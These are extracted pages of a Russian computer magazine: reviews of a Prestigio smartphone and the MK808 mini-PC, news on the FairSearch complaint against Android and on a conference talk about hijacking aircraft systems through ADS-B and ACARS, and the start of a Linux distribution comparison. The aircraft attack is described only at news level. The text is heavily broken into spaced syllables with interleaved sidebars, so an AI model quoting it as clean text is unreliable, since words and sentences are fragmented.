прак ти че  ски все по треб но сти нор маль но
го че ло ве ка. 

Ско ро недо ро гие те ле фо ны с хо ро ши
ми техниче  ски  ми ха рак те ри сти ка ми, по
добные Prestigio MultiPhone 4300 DUO, нач
нут бу к валь но унич то жать сво их до ро гих 
именитых кон ку рен тов. В жи вых оста нут
ся толь ко элит ные мар ки ти па Sony и Apple 
и то по вая линей ка Galaxy S от Samsung; 
воз мож но, LG. Все осталь ные, ес ли не сни
зят це ны, сги нут под на тис ком де сят ков 
мел ких и средних ком паний, про из во
дя щих пре крас ные те ле фо ны по низ кой 
цене. Ведь лю дей, го то вых пе ре пла чи
вать за бренд, не боль ше 3–4 %. 95–96 % 
лю дей не нуж ны все эти пик се ли и гер цы, 
яд ра и ме га иг ры. 

Ведь те ле фон пре ж де все го – те ле фон, 
а с этим у Prestigio MultiPhone 4300 DUO 
про блем нет. Кро ме то го, ап па рат «ест» 

поч ти все по пу ляр ные фор ма ты ме диа, 
и очень гром ко зву чит.

По сле доброго ме ся ца со вме ст ной жиз
ни с Prestigio MultiPhone 4300 DUO ста ло 
по нят но, что это те ле фон, с ко то рым мож
но про жить и всю остав шую ся – вот ниче го 
боль ше и не на до, серь ез но. |

Prestigio MultiPhone 
4300 DUO

Вкратце

» Ин те рес ный 
ап па рат, по пы-
тав ший ся со-
вмес тить в се-
бе низ кую це ну 
и пре стиж ную 
внеш ность с не-
хи лы ми тех ни-
че ски ми ха рак-
те ри сти ка ми� 
На стоя щий 
«убий ца» до ро гих 
смарт фо нов�

Вердикт

Prestigio MultiPhone 4300 DUO

Рейтинг 9/10

Раз ра бот чик: Prestigio

Сайт: www.prestigio.ru

Це на: От 6570 руб.

Функ цио наль ность 9/10
Про из во ди тель ность 8/10
Удоб ст во ис поль зо ва ния 9/10
Оп рав дан ность це ны 10/10

» Кра си вый, стиль ный и бро ский 

смарт фон с от лич ной на чин кой, 

но сла бой ба та ре ей.

> Этот смарт фон для тех, ко му он ну жен 
на дол го и все рь ез�

Ар тем Зо рин про жил ров но ме сяц с но вым пре стиж ным и недо ро гим  
«двух си моч нодвух кар точ ным» смарт фо ном от Prestigio.
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Э
тот ма лы ш по ра жа ет сво ей про
из во ди тель но стью и ве дет се бя 
уже не как при став ка к те ле ви

зо ру, а как пол но цен ный ком пь ю тер: в нем 
ис поль зу ет ся про цес сор ARM Cortex A9 
RK3066 с дву мя яд ра ми на бор ту, так то
вой час то той 1 ГГц (раз го ня ет ся до 1,6 ГГц) 
и гра фи че  ским про цес со ром Mali400MP 
с че тырь мя гра фи че  ски  ми яд ра ми. При
ба вим сюда 1 ГБ ОЗУ DDR3 – вот уж где 
дей ст ви тель но за мет на вы со кая про из во
ди тель ность. Опе ра ци он ная сис те ма рас
по ла га ет ся на Nand Flash объ е мом 8 ГБ; 
поль зо ва те лю от ве де но при мер но 4,8 ГБ. 

К Се ти ком пь ю тер под клю ча ет ся че
рез встро ен ный мо ду ль WiFi с под держ
кой 802.11 b/g/n стан дар тов и дву мя внут
ренними ан тен на ми. На фоне бо лее ранней 
мо де ли ра дио мо ду ль стал мощ нее. 

Ис поль зо вать про шив ку, с ко то рой по
став ля лось уст рой ст во, я не стал по при
чине от сут ст вия нор маль ной под держ ки 
со от но шения эк ра на 16:9 и мак си маль но го 
раз ре шения как ин тер фей са, так и ви део – 
все го лишь 720p от за яв лен ных 1080p. 
Бла го, хо ро ших и ста биль ных про ши
вок вы шло уже до воль но мно го. Про тес
ти ро вав всевоз мож ные ва ри ан ты про ши
вок и ядер к ним, я оста но вил ся на од ной, 
со б ран ной на ба зе Android 4.1.1, оп ти
маль но для ме ня со че та в шей прилич ный 
ин тер фейс, под держ ку USBка ме ры (теку
щий спи сок со вмес ти мо го же ле за досту
пен на http://goo.gl/KTjT5) и пол но цен
ную под держ ку раз ре шения ин тер фей са 
1920 × 1080 то чек с ап па рат ным де ко ди ро
ванием FullHD ви део. Про шив ка ока за лась 
уже «ру то ван ная», так что ог раничений 
для пе ре на строй ки нет во об ще.

Ком пь ю тер, несмот ря на кро хот ные 
раз ме ры, уком плек то ван боль шим ко ли
че  ст вом внешних ин тер фей сов: USB 2.0, 
OTG miniUSB (че рез ко то рый так же мож но 
пи тать уст рой ст во), miniHDMI (пе ре ходник 
на HDMI по став ля ет ся в ком плек те) и слот 
для кар ты microSD. Пи тание по да ет ся 
на еще один вход формфак то ра miniUSB.

Уст рой ст во, однако, тре бо ва тель но к ка
че  ст ву пи тания. При по пыт ке за пи тать уст
рой ст во со схо же го по па ра мет рам неком
плект но го бло ка пи тания ком пь ю тер повел 
се бя крайне неста биль но – поч ти лю бое 
дей ст вие при во ди ло к «за ви санию». 

На стоя тель но ре ко мен дуется при ме
нять хо ро шо ста би ли зи ро ван ные бло ки 

пи тания с вы ход ной си лой то ка не менее 
1 A (имен но та кой при ла га ет ся в ком плек
те). А ес ли вы намерены под клю чать внеш
ний же ст кий диск с пи танием от USB, 
без внешнего ис точника, то для 
ста биль ной ра бо ты возь ми те 
блок пи тания с си лой то ка 
на вы хо де не менее 2 A.

Ра бо та при ло жений 
под роб но по ка за на в ви
део об зо ре на DVD к дан
ному номеру.

При тес  ти  ро  вании 
ком пь ю те ра ста но вит ся по нят
ным, что он ори ен ти ро ван ско рее на до
машнее ис поль зо вание в ка че  ст ве мощ
но го и универ саль но го ме диацен тра, 
ко то рый по зво ля ет пол но цен ный сер
финг в Ин тернете. Удоб ст во аб со лют но 
та кое же, как и на боль шом ком пь ю те
ре – страницы от кры ва ют ся бы ст ро, под
дер жи ва ет ся ви део, и не толь ко в HTML5, 
но и в ста ром, не очень доб ром Flash. Ни
че го не тор мо зит, и соз да ет ся очень бла
го при ят ное впе чат ление, осо бен но ес ли 
учесть, что в мо ем слу чае это не мел кий 
монитор, а FullHD с эк ра ном 46 дюй мов. 

Ком муника тив ный центр – при под
клю чении webка ме ры по яв ля ет ся воз
мож ность ви део звон ков и кон фе рен
ций. И на конецто вы смо же те по го во рить 
со сво им те ле ви зо ром. Но это, конеч но же, 
досто ин ст ва Android и сер ви сов Google. 
Удоб на и ра бо та при ло жений по пу ляр ных 
соц се тей. Да же их ори ен ти ро ван ность 
на управ ление паль ца ми не ме ша ет пол но
цен ной и ком форт ной ра бо те с ними.

Ре ко мен дую уста но вить сра зу ви део
плей ер MX Player. Но толь ко не уста нав
ли вай те ко дек к нему. Де ко ди ро ванием 
зай мет ся гра фи че  ский про цес сор, для 
че го необ хо ди мо про из ве сти неболь
ш у ю на  с т рой  к у с а  мо  го п лей  е  ра . 
Ин ст рук ция – в ви део об зо ре.

Пона стоя ще му уди ви ла ра бо та на ком
пь ю те ре из вест но го ме диацен тра XBMC. 
Вы не най де те его в ма га зине Play Мар кет. 
Досту пен он толь ко на офи ци аль ном сай
те раз ра бот чи ка в ви де па ке та apk (http://
goo.gl/g7NEf). И уста нав ли ва ет ся, по нят но, 
за один щелчок. 

Кра си вый и плав ный ин тер фейс, 
адап ти ро ван ный к управ лению пуль
том, от лич но ра бо таю щие вид же ты, ра
бо та прак ти че  ски с лю бы ми се те вы ми 

ис точника ми – дей ст ви тель но все кра си
во, все удоб но, все под ру кой.

Ос таль ные при ло жения уста но ви те 
на свой вкус из ма га зи на Play Мар кет. 
Ре ко мен да ции по ним см. опять же 
в ви део об зо ре. 

Из вест ны сбор ки Ubuntu для это го мик
ро ком пь ю те ра, но на дан ном эта пе это 
по ка еще ран няя аль фа, ко то рая крайне 
не ре ко мен ду ет ся к уста нов ке. 

Вы во ды
Это от лич ный вы со ко про из во ди тель ный 
де вайс ис клю чи тель но для бы то вых це
лей; до машний ме диа и ком муника тив
ный центр. Но его луч ше при об ре тать 
тем, кто не бо ит ся сам сменить про шив
ку. С про шив кой от про из во ди те ля MK808 
вряд ли реа ли зует все свои ап па рат ные 
воз мож но сти. Жаль также, что пона стоя
щему ра бо то спо со бен на этом уст рой ст ве 
толь ко Android. |

MK808

Вкратце

» Мик ро ком пь ю-
тер на ба зе про-
цес со ра ARM� 
См� так же: CuBox,  
Pivos Xios DS�

Вердикт

MK808

Рейтинг 8/10

Раз ра бот чик: Miniand Tech

Сайт: www.miniand.com/products/

Це на: от $43,69

Функ цио наль ность 7/10
Про из во ди тель ность 9/10
Удоб ст во ис поль зо ва ния 6/10
Оп рав дан ность це ны 10/10

» От лич ный ме диацентр, 

но не бо лее. Тре бу ет на вы ков 

для его пе ре про шив ки.

Юрий Та тар ский про дол жа ет се рию об зо ров о до машних  
бы то вых мик ро компьюте рах на ба зе про цес со ров ARM.

> Этот 
миниатюрный  

«кирпичик» по сути 
предоставляет все 

удобства большого 
компьютера�
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Г
руп па ком паний FairSearch, в ко
то рую во шли Microsof t, Nokia 
и Oracle, по да ла в Ев ро ко мис

сию жа ло бу на несо блю дение ан ти мо
но поль но го за ко но да тель ст ва со сто ро
ны ком пании Google. Объ е динив шие ся 
в коа ли цию ком пании за яв ля ют, что прак
ти куе мая Google связ ка при ло жений и мо
биль ной ОС Android да ет ком пании нече
ст ное пре иму ще ст во на рын ке мо биль ных 
уст ройств.

Ут вер жда ет ся, что «хищниче  ское рас
про странение Android на усло ви ях ниже 
се бе стои мо сти не да ет по став щи кам дру
гих мо биль ных опе ра ци он ных сис тем 
воз мес тить стои мость раз ра бот ки, кон
ку ри руя с до минирую щей мо биль ной 
плат фор мой от Google». Ины ми сло ва ми, 
лю бой на бор от кры то го ПО под па да ет 
под риск по доб но го об винения. Так же, со
глас но до ку мен ту, 96 % до ли мо биль но го 
по ис ко во го рын ка и 70 % до ли рын ка ОС 
для смарт фо нов вку пе с «мо шенниче
 ской прак ти кой уст ранения кон ку рен
тов» да ет ком пании по зи цию мо но по ли ста 
на этом рын ке. В за яв лении ука зы ва ет ся, 
что Google ис поль зу ет плат фор му Android 
в ка че  ст ве «тро ян ско го ко ня» для по лу
чения кон тро ля над рын ком мо биль ных 
сис тем и все ми свя зан ны ми с ним до хо да
ми от рек ла мы.

Ви цепре зи дент Ев ро ко мис сии и ко мис
сар по ан ти мо но поль ной по ли ти ке Ев ро
сою за Хоа кин Аль му нья [Joaquin Almunia] 
рас смат ри ва ет до ми нант ное по ло жение 
Google на рын ке по ис ко вых сис тем как 
часть рас сле до вания, ко то рое длит ся 
уже бо лее двух лет и по ка что не принес
ло кон крет ных ре зуль та тов. Груп па ком
паний FairSearch так же бы ла во вле че на 
в эти про це ду ры. Со глас но неко то рым све
дениям, ко ман да, от вет ст вен ная за про ве
дение дан но го рас сле до вания, об ду мы
ва ла необ хо ди мость вклю чения Android 
в ком про мисс ное ре шение в дан ном слу
чае, но ре шение еще не бы ло при ня то. 
Со об ща ет ся, что Аль му нья от ка зал ся 
от ком мен та ри ев по по во ду по дан ной жа
ло бы, но сообщил, что на этой неде ле бу
дет рас смат ри вать пред ло жения от Google 
по по во ду уре гу ли ро вания пре тен зий 
Ев ро ко мис сии.

При ме ча тель но, что фи гу ри рую щие 
в об винении при ло жения для ра бо ты 
с сер ви са ми Google и ма га зин рас про
странения при ло жений Google Play не яв
ля ют ся обя за тель ны ми ком понен та
ми плат фор мы Android и ис поль зу ют ся 

по же ланию про из во ди те лей те ле фо нов. 
В жа ло бе FairSearch ука за но, что Google 
на вя зы ва ет OEMпро из во ди те лям пред
уста нов ку про грамм для ра бо ты с сер ви
са ми, но об об рат ном го во рят фак ты рас
про странения уст ройств Nook и Kindle 
без дан ных при ло жений и на ли чие на рын
ке оби лия ки тай ских уст ройств, по став
ляе мых без при вяз ки к сер ви сам Google. 
Встре ча ют ся да же Androidуст рой ст ва, 
ис поль зую щие по умол чанию по ис ко
вую сис те му Bing. Кро ме то го, осно ван
ная на Android плат фор ма CyanogenMod 
из на чаль но по став ля ет ся без при вяз ки 
к сер ви сам Google, но пре достав ля ет воз
мож ность доуста нов ки ком понен тов поль
зо ва те лем в фор ме оп ции.

Бо лее то го, Android, в от ли чие от мо
биль ных плат форм от Apple и Microsoft, 
не на вя зы ва ет ис поль зо вание толь ко сво
их про грамм из пер вич ных ма га зи нов 

при ло жений, да вая воз мож ность уста но
вить лю бой па кет из внешнего ис точника. 
Раз ра бот ку Android фор маль но ку ри рует 
ор ганиза ция Open Handset Alliance, в ко
то рую, кро ме Google, вхо дит бо лее 80 про
из во ди те лей, ис поль зую щих плат фор му 
Android. 

В свое вре мя Эн ди Ру бин [Andy Rubin], 
те перь уже быв ший ви цепре зи дент 
Google, от ве чав ший за раз ра бот ку плат
фор мы Android, зая вил, что Android есть 
и бу дет плат фор мой с от кры тым ис ход
ным ко дом. Это за яв ление Ру би на бы ло 
от ве том на ком мен та рии лиц, ут вер ждаю
щих, что Google на ме рен но скры ва ет ис
ход ный код Android, пы та ясь та ким об ра
зом уси лить кон троль над из менения ми, 
вно си мы ми в мо биль ную плат фор му.

Ру бин ут вер ждал, что ком пания Google 
всегда на стаи ва ла на том, что бы уст
рой ст ва, ра бо таю щие под управ лением 
Android, со от вет ст во ва ли основ ным тре
бо ваниям со вмес ти мо сти с Android, 
и что ком пания бо рет ся с фраг мен та

цией Android на чи
ная с вер сии 1.0. 
Но, по его сло вам, 
нет ника ких ог ра
ничений, ка саю
щих ся на строй ки 
поль зо ва тель ских 

ин тер фей сов. Из на чаль но инициа ти ва 
борь бы с фраг мен та ци ей пред на зна че на 
не для ог раничения чьейли бо сво бо ды, 
а для то го, что бы Google и ее при ви ле ги
ро ван ные парт не ры, пер вы ми по лу чив шие 
ис ход ные ко ды, смог ли со гла со вать все 
основ ные из менения пре ж де, чем они бу
дут пол но стью от кры ты.

Так же Эн ди Ру бин ска зал: «В по следнее 
вре мя в прес се поя ви лось мно го невер
ной ин фор ма ции о ро ли Google и Android 
в под держ ке эко си сте мы от кры той раз
ра бот ки. Я пи шу в ду хе от кры то сти и в по
пыт ке уста но вить ис ти ну. Со об ще ст во 
Android зна чи тель но вы росло с мо мен та 
вы пуска в ок тяб ре 2008 го да пер во го уст
рой ст ва, ра бо таю ще го под управ лением 
Android, но мы попрежнему и пол но стью 
под дер жи ва ем идею со дей ст вия раз ви тию 
от кры той плат фор мы для ин ду ст рии мо
биль ных уст ройств, и не толь ко для нее».

Microsoft, Nokia и Oracle об винили Google и Android в мо но по ли за ции рын ка.

КОНКУРЕНТЫ ОБИЖАЮТСЯ

Не па тен та ми, так жа ло ба ми

НО ВО СТИ Лжемо но по лия Google » Пер вым де лом — са мо ле ты
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> Доминирование 
Android дей ст ви-
тель но на ли цо, 
но так ли уж оно 
и страш но?

«Android не на вя зы ва-
ет ис поль зо вание толь-
ко своих про грамм.»
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Н
а про шед шей в пер вой по ло
вине ап ре ля в Ам стер да ме кон
фе рен ции Hack in the Box про

зву чал док лад, про де мон ст ри ро ва вший 
неза щи щен ность двух авиа ци он ных ком
муника ци он ных сис тем, ко то рые мож но 
ис поль зо вать для пе ре да чи про из воль ных 
со об щений в бор то вые ком пь ю те ры и экс
плуа та ции уяз ви мо стей в них. Пред став
лен сце на рий ком про ме та ции бор то вых 
ком пь ю тер ных сис тем, при во дя щий к по
лу чению кон тро ля над са мо ле том.

Технику ата ки раз ра бо тал Уго Те зо 
[Hugo Teso], кон суль тан т по безо пас но
сти немец кой ком пании n.runs AG – он бо
лее 10 лет со вме ща ет ра бо ту пи ло та с ув
ле чением ис сле до ва те ля ком пь ю тер ной 
безо пас но сти. Ата ка бы ла про де мон стри
ро ва на на эму ля то ре, но Тезо за яви л: все 
примененные ме то ды со еди не ния и ком
муника ции пол но стью соот вет ст ву ют ре
аль но му сце на рию взаимо дей ст вия са мо
ле та и дис пет чер ских служб.

При ор ганиза ции стен да, де мон ст ри
рую ще го ме то ды ата ки, ис поль зо ва но на
хо дя щее ся в от кры той про да же спе циа ли
зи ро ван ное авиа ци он ное обо ру до вание, 
ком пь ю тер, на ко то ром вы пол ня ет ся эму
ля тор са мо ле та и дис пет чер ских сис тем, 
и те ле фон на ба зе плат фор мы Android, для 
ко то ро го соз да но при ло жение PlaneSploit, 
ис поль зуе мое для экс плуа та ции уяз ви мо
стей и пе ре да чи управ ляю щих со об щений. 
Спе циа ли зи ро ван ное обо ру до вание со
сто ит из кон со ли управ ления по ле том 
Honeywell, авиа тре на же ра и мо ду ля ACARS 
для ор ганиза ции ка на ла свя зи, ко то рые 
бы ли ку п ле ны на eBay за 400, 85 и 10 дол
ла ров соответственно.

В про цес се изу чения безо пас но сти ком
муника ци он ных сис тем со вре мен но го са
мо ле та Те зо столк нул ся с во пию щей неза
щи щен но стью тех но ло гий ADSB и ACARS, 
ко то рые ока за лись воспри им чи вы к со вер
шению раз лич ных пас сив ных и ак тив ных 
атак. Сис те ма ADSB (Automatic Dependent 
SurveillanceBroadcast) применя ет ся 
в авиа ции для непре рыв ной от прав ки ин
фор ма ции о па ра мет рах са мо ле та (иден
ти фи ка тор, ско рость, ко ор ди на ты, вы со
та и т. п.) в авиа дис пет чер ские служ бы, 
а так же по зво ля ет принимать са мо ле том 
ин фор ма цию о па ра мет рах по ле та, на ви
га ции, тра фи ке и по го де. Вто рая сис те ма, 
ACARS (Aircraft Communications Addressing 
and Reporting System), ис поль зу ет ся для 

ор ганиза ции об ме на со об щения ми ме ж ду 
воз душ ным суд ном и на зем ны ми дис пет
чер ски ми служ ба ми че рез ра дио ка нал или 
спутнико вую связь, а так же для достав ки 
ин фор ма ции о ка ж дом эта пе по ле та.

При ор ганиза ции ата ки сис те ма ADSB, 
доступ к ко то рой не ог раничен и не тре бу
ет ау тен ти фи ка ции, ис поль зо ва лась для 
вы бо ра це ли, а тех но ло гия ACARS при ме
ня лась для оп ре де ления ти па бор то во
го ком пь ю те ра и для иниции ро вания экс
плуа та ции уяз ви мо стей в нем. В ре зуль та те 
по сред ст вом от прав ки спе ци аль но сфор
ми ро ван ных под став ных со об щений и экс
плуа та ции уяз ви мо стей уда лось по лу

чить кон троль над бор то вым ком пь ю те ром 
и вли ять на по ве дение са мо ле та (на при
мер, управ лять са мо ле том, когда вклю чен 
ав то пи лот, ак ти ви ро вать раз лич ное бор то
вое обо ру до вание, соз да вать фик тив ные 
пре ду пре ж дения о сбо ях и т. п.).

По сле экс плуа та ции уяз ви мо сти на уда
лен ные сис те мы управ ления по ле том осу
ще ст в ля ет ся внедрение ком понен тов спе
ци аль но соз дан но го фрейм вор ка SIMON, 
ко то рый по зво ля ет ме нять по лет ные пла
ны и об ра ба ты вать внешние ко ман ды. 
На сто роне ата кую ще го для пе ре да чи ко
манд при ме ня ет ся Androidпри ло жение 
PlaneSploit, снаб жен ное ин тер фей сом, 
на по ми наю щим авиа си му ля тор, но по
зво ляю щим кон тро ли ро вать по ве дение 

ре аль но го са мо ле та. При ло жение так же 
ав то ма ти зи ру ет экс плуа та цию бор то вых 
сис тем – для со вер шения ата ки доста
точно вы брать са мо лет на об нов ляе мой 
в ре жи ме ре аль но го вре мени кар те.

От ме ча ет ся, что для восста нов ления 
кон тро ля над са мо ле том доста точ но вы
клю чить ав то пи лот и про дол жить управ
ление в руч ном ре жи ме с ис поль зо ванием 
ана ло го во го обо ру до вания. Но в со вре
мен ных са мо ле тах слиш ком мно гое за вя
за но на элек тронику, и вы яв ление фак та 
взло ма яв ля ет ся неоче вид ной за да чей для 
пи ло тов, ко то рые мо гут при нять внедрен
ные зло умыш ленника ми из менения 
за штат ные дей ст вия ав то ма ти ки.

Пред ста ви те ли авиа ин ду ст рии про
ком мен ти ро ва ли док лад за яв лением, 
что ис поль зуе мые в ре аль ных са мо ле тах 
ком пь ю тер ные сис те мы су ще ст вен но от
ли ча ют ся от ПО для си му ля то ров, про
хо дят же ст кую про вер ку, сер ти фи ка цию 
и снаб же ны до полнитель ны ми сис те ма
ми за щи ты, что не по зво ля ет их экс плуа
ти ро вать так же лег ко, как про грамм ное 
обес пе чение, соз дан ное для си му ля то
ров. По это му не сле ду ет про во дить ана
ло гий ме ж ду вир ту аль ным экс пе ри мен том 
и ре аль ным авиа ци он ным обо ру до ванием. 
По мнению пред ста ви те ля Фе де раль но
го управ ления гра ж дан ской авиа ции США, 
пред став лен ная техника ата ки не при
менима к штат ным бор то вым сис те мам са
мо ле та и не по зво лит по лу чить кон троль 
над ними, так как спе ци фич на для от дель
но го си му ля то ра Honeywell NZ2000 Flight 
Management System (FMS), на пи сан но го 
как при ло жение для на столь ных компью
терных сис тем. |

Техника ата ки, на прав лен ная на по лу чение кон тро ля над са мо ле том.

УГНАТЬ ЗА 500 ДОЛЛАРОВ

Ха ке ры не спят и не сда ют ся
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«В са мо ле тах слиш-
ком мно гое за вя за но 
на элек тронику.»

> Уяз ви мость со-
вре мен ных сис тем 
рас тет про пор цио-
наль но их рос ту их 
слож но сти� Это ка-
са ет ся и Android�
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Сравнение
Ка ж дый ме сяц мы срав ни ва ем тон ны  
про грамм – а вы можете отдыхать!

Х
о тя не су ще ст  ву ет ни од но
го из вест но го оп ре де ления 
опыт но го поль зо ва те ля Linux, 
они яв ля ют ся эли той сре ди 

линуксоидов. Но вич кам при дет ся нема
ло по по теть над свои ми ди ст ри бу ти ва ми 
Linux, что бы по лу чить пра во на этот ти тул.

Опыт ные поль зо ва те ли об ла да ют как 
минимум от лич ны ми на вы ка ми ра бо ты 
со всем, что есть в Linux, будь то яд ро, Bash 
или управ ление па ке та ми – и они не бо ят ся 
за ма рать ру ки на строй кой сис те мы. 

Поч ти все со вре мен ные ди ст ри бу ти вы 
Linux не тре бу ют от поль зо ва те лей боль
шо го ума, а про сто пре достав ля ют им 

ра бо чую сис те му. По оп ре де лению опыт
ного поль зо ва те ля, ни один из таковых по
доб ный ди ст ри бу тив не возьмет. Вот по
че му, невзи рая на всю их по пу ляр ность, 
Ubuntu и Mint здесь не при сут ст  ву ют.

По ми мо управ ляе мой уста нов ки, от ли
чающ ей эти ди ст ри бу ти вы от боль шин ст  ва 
осталь ных, в на шем Сравнении еще нема
ловажен фак тор адап тив но сти. Вы лег ко  

на стро ите лю бой из этих ди ст ри бу ти вов 
для воспро из ве дения му зы ки на ве че рин
ках или для раз ме щения слож ных сай тов. 

Ме то ди ка раз ра бот ки и сис те ма управ
ления па ке та ми оста ют ся важ ны ми ас пек
та ми, но ес ли ва ми дви жет же лание из
влечь мак си мум из ва ше го ди ст ри бу ти ва 
Linux, ни ка пли не упустив, вы вполне мо
же те стать опыт ным поль зо ва те лем.

Все ди ст ри бу ти вы в на шем спи ске 
су ще ст ву ют уже не пер вый год, неко то
рые с 1990х; и за эти го ды за слу жи ли 
вы со кую ре пу та цию, по сколь ку да ют 
сво им поль зо ва те лям пре иму ще ст ва 
и при ви ле гии как в управ лении про
грам ма ми, так и в про сто те уста нов ки. 

Все они ис клю чи тель но ста биль ны, 
и тес ты ка са ют ся не столь ко про из во
ди тель но сти, сколь ко адап тив но сти. 
Мы ищем то, что де ла ет их иде аль ны
 ми для опыт ных поль зо ва те лей Linux, 
ко то рым уже прие лись ори ен ти ро
ван ные на но вич ков ди ст ри бу ти вы 
и хочется с по мо щью Linux вы жать 
из сво их ком пь ю те ров мак си мум.

Это воз мож но, ес ли у вас есть пол
ный кон троль над ка ж дым ас пек
том ди ст ри бу ти ва. Все долж но быть 
на страи вае мо и из ме няе мо по ва ше му 
усмот рению. Иде аль ный ди ст ри бу тив 
для опыт но го поль зо ва те ля – тот, что 
по ощ ря ет стрем ление на стро ить ка ж
дую ме лочь, ка ж дый ас пект, и добить ся 
соз дания иде аль ной сис те мы. 

Ди ст ри бу ти вы  
для про дви ну тых
Вы не мо же те счи тать ся опыт ным поль зо ва те лем,  
ес  ли у вас не один из них. Так по ла га ет Ша шанк Шар ма.

На ша 
под бор ка

 » Arch
 » Debian
 » Fedora
 » Gentoo
 » Slackware

«Опыт ные поль зо ва те ли  
не бо ят ся за ма рать ру ки  
на строй кой сис те мы.»

Про наш тест…
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Н
е смот ря на то, что ди ст ри бу ти
вы пред на зна че ны для опыт ных 
поль зо ва те лей, вряд ли бу дет за

слу жи вать ре ко мен да ции ди ст ри бу тив, 
ко то рый за ста вит вас в от чаянии рвать 
на се бе во ло сы, да же ес ли впо след ст  вии 
он ока жет ся неве ро ят но на деж ным. Во
прос не в том, на сколь ко доло г бу дет про
цесс уста нов ки, а в том, на сколь ко этот 
про цесс сло жен. 

Slackware – один из на ших лю би мых 
ди ст ри бу ти вов, и его уста нов ка во все 
не от ли ча ет ся слож но стью, ес ли толь ко 
вы не со чте те слож ной про грам му уста
нов ки, осно ван ную на ncurses. Она от ли ча
ет ся от дру гих, но со вер шен но не слож на 
в на ви га ции. Воз мож но, вы за хо ти те со
хранить ко пию книги Slackware, на при мер, 
на но ут бу ке или план ше те.

Про цесс при за пуске уста нов ки, ко то
рый про во дит вас по несколь ким ее ста ди
ям, ку да, в ча ст но сти, вхо дит вы бор па ке
тов, об ра ща ет осо бое внимание на ре жим 
под ска зок и се рии про грамм. Вы мо же те 
ли бо уста но вить все, вы брав в ре жи ме 
под сказ ки Full, ли бо вы брав от дель ные па
ке ты, вы брав оп цию Menu. За тем нуж но 
вы брать, ка кие се рии про грамм уста но
вить. Ес ли вы вы бе ре те от дель ные па ке ты, 

про грам ма уста нов ки не ска жет вам, 
сколь ко мес та им по тре бу ет ся. У Slackware 
дур ная ре пу та ция, по то му что не пред ла
га ет ся гра фи че   ской уста нов ки, но все же 
про цесс уста нов ки вполне по ня тен.

И Fedora, и Debian пре достав ля ют гра
фи че скую уста нов ку, усо вер шен ст  во ван
ную за дол гие го ды. Про цесс очень про
стой, и неко то рые за да чи – на при мер, 
раз биение дис  ка на раз де лы – ав то ма ти
зи ро ва ны, но оп ти маль ным ва ри ан том бу
дет, ес ли вы по крайней ме ре про смот ри
те схе му де ления на раз де лы или сде лае те 
ее са ми, осо бен но ес ли на дис  ке уже есть 
раз де лы, ко то рые вы хо те ли бы со хранить. 
Fedora и Debian не по зво ля ют вам вы би
рать устанавливаемые па ке ты при уста
нов ке с live CD.

Arch, хо тя и не пред ла га ет удоб ной 
постуста нов ки сис те мы, яв ля ет ся одним 
из са мых про стых в уста нов ке ди ст ри бу ти
вов: са мый слож ный шаг – на строй ка се
те вой кар ты. Ес ли вы не мо же те на стро ить 
свою бес про вод ную кар ту, мо же те при
сое динить к ком пь ю те ру ка бель Ethernet, 
по ка про из во дит ся уста нов ка, и на стро ить 
кар ту позднее.

По сле уста нов ки ба зо вой сис те мы 
вы мо же те при сту пить к та ким су ще ст  вен

ным ас пек там, как уста нов ка X Window 
System, ви део драй ве ров и сре ды ра бо че
го сто ла. Но да же по сле то го, как это бу дет 
сде ла но, вам при дет ся уста но вить все при
ло жения, ко то рые вам мо гут по на до бить
ся сверх того, на при мер, Firefox, VLC, Libre-
Office и про чие.

Ус та нов ка Gentoo ку да бо лее уто ми
тель на по сравнению с дру ги ми ди ст ри
бу ти ва ми, да же с Arch. Она за став ля ет 
вас оп ре де лять фла ги USE и ком пи ли ро
вать яд ро, так что при го товь тесь к то му, 
что уста нов ка мо жет за нять до несколь ких 
дней, в за ви си мо сти от же лае мой кон фи
гу ра ции и по треб но стей.

Мы уже рас ска зы ва ли об уста нов
ке и то го, и дру го го в про шлых вы пусках 
LXF, но с тех пор про цесс несколь ко 
видо из менил ся, так что, при сту пая 
к делу, дер жи те под ру кой до ку мен та цию 
по уста нов ке. 

О
пе ра ци он ная сис те ма – все го 
лишь ор ганизо ван ная под бор
ка при ло жений, нуж ных поль

зо ва те лю. А ко ли так, то, несмот ря на за
вер шение про цес са уста нов ки, бы ло бы 
нера зум но име но вать Gentoo или Arch опе
ра ци он ны ми сис те ма ми, по то му что все, 

что у вас есть – это го лые кости, на ко то
рые вам пред сто ит на рас тить тре буе мые 
при ло жения. Бо лее то го, у вас да же нет ра
бо че го сто ла по умол чанию, и вам при дет
ся вы брать и уста но вить его. 

При ра бо те с Gentoo или Arch нет ника
ких на стро ек по умол чанию. Их цель за

клю ча ет ся в пре достав лении 
поль зо ва те лю пол но го кон
тро ля над тем, что имен но 
они хо тят уста но вить на свой 
ком пь ю тер. 

И хо тя осталь ные три ди ст
ри бу ти ва на ше го Сравнения 
то же по зво ля ют вы би рать, 
па ке ты во вре мя про це ду
ры уста нов ки, все же они 
стре мят ся пре доста вить вам 
прак ти че  ски го то вую сис
те му. Это оз на ча ет, что уже 
с са мо го на ча ла эти ди ст
ри бу ти вы пре дусма тривают 

тек сто вый ре дак тор, webбрау зер, чи тал
ку для PDF и мно го че го еще.

Для этих трех ди ст ри бу ти вов, несмот ря 
на ши ро кий вы бор па ке тов по умол чанию, 
вам при дет ся уста нав ли вать еще и ко де
ки и дру гие пла ги ны, пре ж де чем вы смо
же те воспро из во дить фай лы муль ти ме диа 
или смот реть ви део на YouTube, или да же 
про сто по мак си му му ис поль зо вать свою 
про прие тар ную ви део кар ту. Slackware 
не пред ла га ет офис но го па ке та по умол
чанию, в от ли чие от Fedora и Debian, ко
то рые идут со от вет ст вен но с LibreOffice 
и OpenOffice.

В за ви си мо сти от сред ст ва уста нов
ки, будь то live CD или DVD Gnome/KDE, 
вы так же мо же те вы брать, ка кую сре ду ра
бо че го сто ла уста но вить в Fedora.

В Slackware мож но вы би рать во вре мя 
уста нов ки толь ко ме ж ду KDE и Xfce. Лю би
те лям Gnome при дет ся добы вать свой лю
би мый ра бо чий стол по сле уста нов ки.

> Па ке ты в Slackware де лят ся на раз ные се рии: на при мер,  
A для ба зо вой сис те мы и N для се те вых про грамм, де мо нов и т� д�

> Fedora: вы бор па ке тов действительно ог ром ен�

Ус та нов ка

Па ке ты по умол чанию

На сколь ко прост пер вый шаг?

Не то что бы опыт но му поль зо ва те лю это бы ло важ но...

Arch
 ★★★★★
Debian
 ★★★★★
Fedora
 ★★★★★
Gentoo
 ★★★★★
Slackware
 ★★★★★

» Gentoo за ме
ча тель но оту чит 
вас бо ять ся ком
пи ля ции яд ра.

Debian
